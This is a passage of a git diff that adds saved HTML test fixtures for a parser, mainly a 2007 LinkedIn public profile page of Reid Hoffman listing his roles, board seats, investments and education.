+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Reid Hoffman</strong> know in common</li>
+            <li>Get introduced to <strong>Reid Hoffman</strong></li>
+            <li>Contact <strong>Reid Hoffman</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Reid/Hoffman?trk=ppro_find_others" >Reid Hoffman</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/reidhoffman_removed b/tests/nose/data/linkedin/reidhoffman_removed
new file mode 100644 (file)
index 0000000..e7824f2
--- /dev/null
@@ -0,0 +1,743 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Reid Hoffman</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Reid Hoffman's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Reid Hoffman discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Reid</span> <span class="family-name">Hoffman</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/1/000/000/038/24da1dc.jpg" alt="Reid Hoffman"/></div>
+              <p class="headline title">Entrepreneur.  General Manager.  Product Strategist.</p>
+            <div class="adr">
+              <p class="locality">
+                San Francisco Bay Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                        My Company
+                        </a>                   </li>
+                  <li class="website">
+<a href="http://www.kiva.org/lender/reid" class="url" target="_blank">Combat global poverty</a>                  </li>
+                  <li class="website">
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" target="_blank">We're hiring!</a>                  </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                        <li>
+
+
+
+Member, Provost Council at College Eight, UCSC
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Directors at Kiva.org
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morecurr">
+                    <ul class="current">
+                            <li>
+
+
+
+Member, Board of Directors at Tagged
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Mozilla Corporation
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Vendio
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Grassroots
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Directors at Six Apart
+
+                            </li>
+                            <li>
+
+
+
+Member, Board of Advisors at Lulan LLC
+
+                            </li>
+                            <li>
+
+
+
+Angel Investor at Aufklarung LLC
+
+                            </li>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morecurr-hide">see less...</a></p>
+                  </div>
+                      <p class="seeall showhide-link"><a href="#" id="morecurr-show">7 more...</a></p>
+              </dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+           Oxford University
+      
+                      </li>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                      <li>
+                        
+           The Putney School
+      
+                      </li>
+                </ul>
+                  <div class="showhide-block" id="moreedu">
+                    <ul>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="moreedu-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_3_35x24.gif" width="35" height="24" alt="Reid has 49 recommendations" title="Reid has 49 recommendations" />                <strong class="recommendation-count r3">49</strong> people have recommended Reid </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                500+
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Internet
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                          My Company
+                          </a>                     </li>
+                    <li>
+<a href="http://www.kiva.org/lender/reid" class="url" rel="me" target="_blank">Combat global poverty</a>                    </li>
+                    <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" rel="me" target="_blank">We're hiring!</a>                    </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>Reid Hoffman&#8217;s Summary</h2>
+              <p class="summary">
+                All aspects of consumer internet and software.  Focus is on finance, business strategy, and development, but includes product management, operations, business operations, business development, and marketing.  Focus is on seed-stage technology companies, but have also helped profitable companies grow.
+              </p>
+              <h3>Reid Hoffman&#8217;s Specialties:</h3>
+              <p class="skills">
+                General management, product development, business models, strategy, negotiation, financing, deal structure,  international, marketing, brand development, brand management, business development, public relations, press strategy, payments infrastructure, financial services, mergers and acquisitions, start-ups, software development, operations centers.
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>Reid Hoffman&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Chairman and President, Products</h3>
+      <h4 class="org summary">LinkedIn</h4>
+    
+  <p class="organization-details">(Privately Held; 201-500 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-02-01">February 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y1M">(1 year 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">LinkedIn powers your professional life by enabling you to: \r<br>
+\r<br>
+-Control your professional profile online (on LinkedIn and in search engines like Google)\r<br>
+\r<br>
+-Tap into your trusted network for opportunities, referrals, and answers to critical business questions\r<br>
+\r<br>
+-Search for the right professionals (experts, hires, references, consultants, service providers)\r<br>
+\r<br>
+LinkedIn’s primary customer will always be each individual professional.   LinkedIn also provides services for companies, professional associations, alumni associations, non-profits, and conferences.  \r<br>
+\r<br>
+My role is product and business strategy, evangelizing the utility to every professional.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Provost Council</h3>
+      <h4 class="org summary">College Eight, UCSC</h4>
+    
+  <p class="organization-details">(Educational Institution; 1001-5000 employees; Higher Education industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-07-01">July 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y8M">(1 year 8 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">College Eight is a residential educational college part of UCSC.  The focus is environmental citizenship, ranging from topics of enviromental civics and justice to environmental enterpreneurship.  The new educational goal is to achieve academic excellence through current research and teaching, and also through connections with business and government.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Kiva.org</h4>
+    
+  <p class="organization-details">(Non-Profit; 1-10 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-06-01">June 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y9M">(1 year 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Kiva provides an entrepreneur's marketplace for social micro-lending.  The entrepreneurs are pre-vetted by micro-finance organizations.  They are then listed on Kiva's web marketplace, and interested and motivated lenders can lend money for the creation of businesses.  It is the paradigm case of teaching to fish rather than giving fish.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Tagged</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-12-01">December 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y3M">(2 years 3 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">The teen social network for teens.  It's a place on the web only for teens - hip, interesting, and cool.  Within a short time, it has millions of teens; and the most interesting parts are still to arrive.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-08-01">August 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y7M">(2 years 7 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Evangelists and champions of the free and open web-platform, Firefox.  Firefox allows consumers the experience they want, all software and internet companies to build extensions, and open-source developers to contribute freely and democratically.  Firefox works to keep a free, open web -- both through its own platform and by inspiring other browsers to create open apis and platforms with great consumer experiences.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Vendio</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Vendio provides best of breed, easy-to-use services for small businesses on eBay and on the Internet.  Vendio also provides a great price-checking and comparing toolbar so that you never overpay on the internet again: www.dealio.com.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Grassroots</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Best IT infrastructure and enablement for grassroots campaigns for corporations.  Grassroots campaigns are extremely important for the modern corporation, as regulation, political competition, and risk mitigation are essential.  The best way to solve these problems: utilize your corporation's constintuency as a political force.  And corporations do have constituencies -- employees, shareholders, customers, partners, vendors, and others.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Six Apart</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-04-01">April 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y11M">(4 years 11 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">SixApart produces the best publishing platforms on the web for self-expression through words, pictures, and other media.  For self-hosting and business, it produces the leading blogging software MoveableType.  For hosted web publishing with great looks and effective tools, SixApart has the best blogging service TypePad.  And for younger web communities, it has LiveJournal.  Recently, SixApart has launched Vox which allows great sharing within your own private community -- your family, your friends, and your neighborhood as you want it.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Advisors</h3>
+      <h4 class="org summary">Lulan LLC</h4>
+    
+  <p class="organization-details">(Privately Held; 1-10 employees; Textiles industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-01-01">January 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P5Y2M">(5 years 2 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Lulan imports top-quality textiles from socially great women's collectives in Asia to the U.S. market, transformed into the best products.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Angel Investor</h3>
+      <h4 class="org summary">Aufklarung LLC</h4>
+    
+  <p class="organization-details">(Privately Held; Myself Only; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-09-01">September 2001</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P6Y6M">(6 years 6 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Helped finance over 60 companies, 25+ from initial conception.  Angel investor in www.facebook.com, www.digg.com, www.bioscale.com, www.nanosolar.com, www.lulan.com, www.taxipass.com, www.naseeb.com, www.technorati.com, www.grassroots.com, www.friendster.com, www.socialtext.com, www.realtravel.com, www.rhythmnetworks.com, www.ravenflow.com, www.targetedgrowth.com, www.wink.com, www.wikia.com, www.adventsolar.com, www.bioscale.com, www.ning.com, www.tagged.com, www.tinypictures.us, www.etology.com, www.winster.com, www.rupture.com, www.jaxtr.com, www.kongregate.com, www.powerset.com, www.care.com, www.funnyordie.com, www.ironport.com, www.flixster.com, www.care.com,  www.flickr.com, www.last.fm, www.grockit.com and www.sixapart.com.</p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>Reid Hoffman&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Oxford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">M.St.</span>, <span class="major">Philosophy</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1990-01-01">September 1990</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1993-12-31">June 1993</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Wolfson College, Matthew Arnold Prize</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">B.S.</span>, <span class="major">Symbolic Systems</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1985-01-01">September 1985</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1990-12-31">June 1990</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Marshall Scholar, Dinkelspiel Award, Golden Grant, Honors, Founder of the Symbolic Systems Forum</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           The Putney School
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">GED</span>, <span class="major">Highschool</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="1982-01-01">1982</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="1985-12-31">1985</abbr></span> 
+        
+    </p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Reid Hoffman&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://www.linkedin.com" rel="me" target="_blank">
+                        My Company
+                        </a>                  </li>
+                  <li>
+<a href="http://www.kiva.org/lender/reid" rel="me" target="_blank">Combat global poverty</a>                  </li>
+                  <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" rel="me" target="_blank">We're hiring!</a>                  </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Interests:</h3>
+              <p class="interests">Civil society, education, public intellectuals, values, ethics, travel, environment, technology</p>
+              <h3>Reid Hoffman&#8217;s Groups:</h3>
+              <ul>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=17&sharedKey=1F561C153148" >          <img src="/img/groups/default/default_small.gif" width="60" height="30" alt="Oxford Alumni New York member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Oxford Alumni New York member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=110&sharedKey=65E395798EA2" >          <img src="http://media.linkedin.com/media/p/1/000/000/004/359afe7.gif" width="60" height="30" alt="eWorldAlums member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">eWorldAlums member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=1839&sharedKey=11E21D6C47B6" >          <img src="http://media.linkedin.com/media/p/1/000/000/009/33d7f5e.gif" width="60" height="30" alt="PayPal Alumni on LinkedIn (PALs) member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">PayPal Alumni on LinkedIn (PALs) member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=2238&sharedKey=4E51047A3269" >          <img src="http://media.linkedin.com/media/p/1/000/000/00d/155174d.gif" width="60" height="30" alt="Weekend to be Named Later member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Weekend to be Named Later member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_doctors" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/004/0d96b2c.gif" width="60" height="30" alt="Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_kiva" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/007/1f15b54.gif" width="60" height="30" alt="KIVA member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">KIVA member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=21059&sharedKey=0D585712F10C" >          <img src="http://media.linkedin.com/media/p/1/000/000/00f/0291a62.png" width="60" height="30" alt="Alpha member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Alpha member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=43473&sharedKey=6C93EB014971" >          <img src="http://media.linkedin.com/media/p/2/000/002/063/0bc82d3.gif" width="60" height="30" alt="The Association of Marshall Scholars, Inc. member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">The Association of Marshall Scholars, Inc. member</span> </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Honors:</h3>
+              <p class="honors">
+                Marshall Scholarship, Dinkelspiel Award, Matthew Arnold Memorial Prize (Proxime Accessit)
+              </p>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Reid Hoffman&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=1213&authToken=ChBr&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Reid&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Reid Hoffman</strong> know in common</li>
+            <li>Get introduced to <strong>Reid Hoffman</strong></li>
+            <li>Contact <strong>Reid Hoffman</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Reid/Hoffman?trk=ppro_find_others" >Reid Hoffman</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
